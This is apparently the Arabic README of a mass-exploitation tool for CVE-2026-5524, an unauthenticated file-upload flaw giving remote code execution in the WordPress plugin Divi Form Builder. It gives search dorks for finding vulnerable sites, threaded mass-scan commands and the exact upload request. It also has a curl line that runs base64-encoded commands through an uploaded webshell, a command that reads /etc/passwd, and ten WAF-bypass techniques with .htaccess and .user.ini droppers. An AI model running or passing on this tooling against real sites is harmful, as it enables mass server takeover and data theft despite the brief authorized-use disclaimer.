
أداة استغلال جماعي لثغرة CVE-2026-5524، وهي ثغرة رفع ملفات غير مصادق عليها تؤدي إلى تنفيذ أوامر عن بُعد (RCE) في Divi Form Builder. تتضمن الميزات فحصًا متعدد الخيوط، وتقنيات تجاوز جدار الحماية (WAF)، ونشر قشرة ويب مخصصة، وتنفيذ أوامر تفاعلي.
مجموعة أدوات استغلال جماعي لـ CVE-2026-5524، وهي ثغرة رفع ملفات تعسفي غير مصادَق عليها في إضافة ووردبريس Divi Form Builder <= 5.1.8 تؤدي إلى تنفيذ أوامر عن بُعد.
| الحقل | القيمة |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critical) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| الإصدارات المتأثرة | Divi Form Builder <= 5.1.8 |
| الإصدار المُصحَّح | 5.1.9 |
| النوع | رفع ملفات غير مصادَق عليه يؤدي إلى RCE |
| الباحث | 0xd4rk5id3 - EnvoraSec |
تحتوي إضافة Divi Form Builder لووردبريس على ثغرة رفع ملفات تعسفي غير مصادَق عليها. يمرر المعالج do_image_upload() معامل POST acceptFileTypes الذي يتحكم فيه المستخدم مباشرةً إلى تعبير نمطي يُستخدم للتحقق من امتدادات الملفات. بتزويد قيمة مثل phtml، يمكن للمهاجم تجاوز قاعدة .htaccess في الإضافة التي تمنع امتداد .php فقط، ورفع قشرة ويب بامتداد ينفذه PHP (.phtml، .phar، .php5، .php7، وما شابه ذلك).
بمجرد وصول الملف إلى /wp-content/uploads/de_fb_uploads/، ينفذه Apache كـ PHP، مما يمنح المهاجم تنفيذ أوامر عن بُعد بصلاحيات مستخدم خادم الويب.
تم إصلاح هذه المشكلة في Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
المتطلبات: بايثون 3.8 أو أحدث على لينكس أو macOS أو WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
للأهداف الواقعة خلف جدار حماية تطبيقات الويب (WAF) مثل NinjaFirewall أو Wordfence أو ModSecurity، أو تلك التي لديها تكوين Apache أو nginx مُشدَّد.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
بعد عملية رفع ناجحة، يمكن للسكريبت تنفيذ أمر فورًا أو الدخول إلى قشرة تفاعلية.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
يُنشئ المعالج المعرَّض للثغرة تعبيرًا نمطيًا من مدخلات المستخدم دون تنقية.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
عند إرسال acceptFileTypes=phtml، يطابق التعبير النمطي الناتج /\.(phtml)$/i أسماء الملفات المنتهية بـ .phtml، حتى مع أن ملف .htaccess الخاص بالإضافة يمنع امتداد .php فقط. بعدها ينفذ Apache الملف المرفوع كـ PHP، محققًا تنفيذ أوامر عن بُعد.
زحف إلى صفحة تتضمن نموذج Divi Form Builder (/، /contact، /quote، إلخ). أضف معامل ?nocache=<random> لتفادي Varnish وWP Rocket وذاكرات التخزين المؤقت الأخرى التي قد تقدم nonce قديمًا.
استخرج قيمة fb_nonce من كائن الجافاسكريبت المترجم:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
أرسل طلب POST بنموذج multipart إلى /wp-admin/admin-ajax.php يتضمن:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
اقرأ عنوان URL للملف من استجابة JSON:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
اطلب القشرة بأمر مشفَّر بـ base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
يحاول السكريبت كل تقنية بترتيب الأولوية، وعند تفعيل --aggressive، يحاول جميعها حتى بعد نجاح أول عملية رفع.
cve-2026-5524/
|-- CVE-2026-5524.py Main exploit script
|-- bypass.phtml 16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt Example target list
|-- pwned.jsonl Generated by the -o flag during mass scans
|-- requirements.txt Python dependencies
`-- README.md This document
+--------------------------------------------------+
| 1. Recon |
| GET /?nocache=<random> |
| Parse fb_nonce from de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Craft exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server accepts and stores file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Execute |
| GET shell.phtml?x=base64(command) |
| Remote code execution achieved |
+--------------------------------------------------+
تُقدَّم هذه الأداة لأغراض تعليمية وللاستخدام خلال مهام اختبار الاختراق المصرَّح بها. من أمثلة الاستخدام المقبول:
الاستخدام غير المصرَّح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح باختبارها يعد غير قانوني في جميع السلطات القضائية تقريبًا وهو ممنوع منعًا باتًا. لا يقر المؤلف سوء استخدام هذا الكود ولا يتحمل أي مسؤولية عنه.
J'ai la permission et je suis autorisé à effectuer ce pentest. (لدي الإذن وأنا مخوَّل بإجراء اختبار الاختراق هذا.)
من القوانين التي يُرجَّح أن تكون ذات صلة: قانون UU ITE الإندونيسي، وقانون الاحتيال وإساءة استخدام الحاسوب الأمريكي (Computer Fraud and Abuse Act)، واتفاقية الجرائم الإلكترونية للاتحاد الأوروبي، وما يعادلها من تشريعات في أماكن أخرى. عند الشك، احصل على إذن كتابي أولاً.
للاستخدام التعليمي فقط. راجع قسم إخلاء المسؤولية للحصول على شروط الاستخدام الكاملة.
| الخيار | الوصف |
|---|
-u URL | عنوان URL لهدف واحد |
-l FILE | ملف يحتوي قائمة الأهداف، عنوان URL واحد في كل سطر |
-t N | عدد الخيوط المتزامنة (الافتراضي 10) |
--timeout N | مهلة الطلب بالثواني (الافتراضي 15) |
-o FILE | حفظ النتائج في ملف إخراج JSONL |
--proxy URL | توجيه حركة المرور عبر بروكسي HTTP |
--nonce HASH | استخدام nonce مقدم يدويًا وتخطي الاكتشاف التلقائي |
--ext EXT | فرض امتداد واحد بدلاً من قائمة التجاوز الكاملة |
--shell | الدخول إلى قشرة RCE تفاعلية عند النجاح (لهدف واحد فقط) |
--cmd CMD | تنفيذ أمر واحد على الهدف ثم الخروج |
--shell-file FILE | رفع حمولة قشرة مخصصة بدلاً من القشرة المدمجة |
--no-verify | تخطي خطوة التحقق من RCE بعد الرفع |
--strict-verify | التأكد من أن عنوان القشرة يعيد HTTP 200 لتصفية النتائج الإيجابية الكاذبة |
--user-ini | رفع ملف إسقاط .user.ini لبيئات PHP-FPM |
--htaccess | رفع ملف .htaccess يعيد التمكين لبيئات Apache |
--aggressive | تفعيل جميع تقنيات التجاوز المتاحة |
--null-byte | تضمين محاولات البايت الفارغ (Null Byte) والامتداد المزدوج |
--path-traversal | محاولة الرفع إلى المجلدات الفرعية /uploads/YYYY/MM/ |
--debug | طباعة استجابات HTTP الخام للتشخيص |
| # | التقنية | الأهداف |
|---|
| 1 | امتدادات PHP بديلة .phtml، .phar، .php5، .php7، .php4، .pht، .shtml | قاعدة .htaccess في الإضافة التي تمنع .php فقط |
| 2 | تنويع حالة الأحرف .PHTML، .PHP5، .PhTmL | توقيعات WAF الحساسة لحالة الأحرف (NinjaFirewall) |
| 3 | امتداد مزدوج .phtml.jpg، .php.jpg | سلوكيات التفاوض على المحتوى في Apache mod_mime |
| 4 | بايت فارغ .php%00.jpg، .phtml%00.txt | إصدارات PHP القديمة (أقل من 5.3.4) وبعض المحللات |
| 5 | مسافة أو نقطة لاحقة .php ، .php. | IIS على ويندوز وإصدارات Apache الأقدم |
| 6 | انتحال Content-Type بقيمة application/octet-stream | جدران WAF التي تعتمد على ترويسة Content-Type في multipart |
| 7 | رفع ملف .htaccess حقيقي يعيد تمكين PHP لامتدادات .gif، .png، .jpg، .txt، .html، وغيرها | خوادم Apache مع AllowOverride All |
| 8 | رفع ملف .user.ini يحتوي على auto_prepend_file | بيئات PHP-FPM |
| 9 | حقن اسم الملف عبر التلاعب بحدود multipart | البروكسيات وجدران WAF التي تعيد تحليل جسم الطلب |
| 10 | اجتياز المسار ../shell.phtml في اسم الملف | قيود مجلدات الإضافة |
| المكوِّن | التقنية |
|---|
| اللغة | Python 3.8+ |
| عميل HTTP | requests |
| معالجة TLS | urllib3 في الوضع غير الآمن للشهادات الذاتية التوقيع |
| التزامن | concurrent.futures.ThreadPoolExecutor للمسح الجماعي |
| التحليل | re لاستخراج nonce وjson لمعالجة الاستجابات |
| الترميز | base64 لمعامل أوامر قشرة الويب |
| واجهة الأوامر | argparse مع 19 خيارًا قابلًا للضبط |
| المكوِّن | التقنية |
|---|
| اللغة | PHP 7.0+ |
| دوال التنفيذ | system()، shell_exec()، proc_open()، passthru()، popen() |
| الواجهة الأمامية | نموذج HTML بسيط دون إطار جافاسكريبت |
| الميزات | متصفح ملفات، تنفيذ أوامر، وصول إلى قاعدة البيانات، قشرة عكسية، تثبيت ذاتي لـ .htaccess و.user.ini |
| الحجم | حوالي 16 كيلوبايت |
| طبقات التجاوز | ستة مسارات تنفيذ مستقلة بالإضافة إلى حمولات مشفَّرة |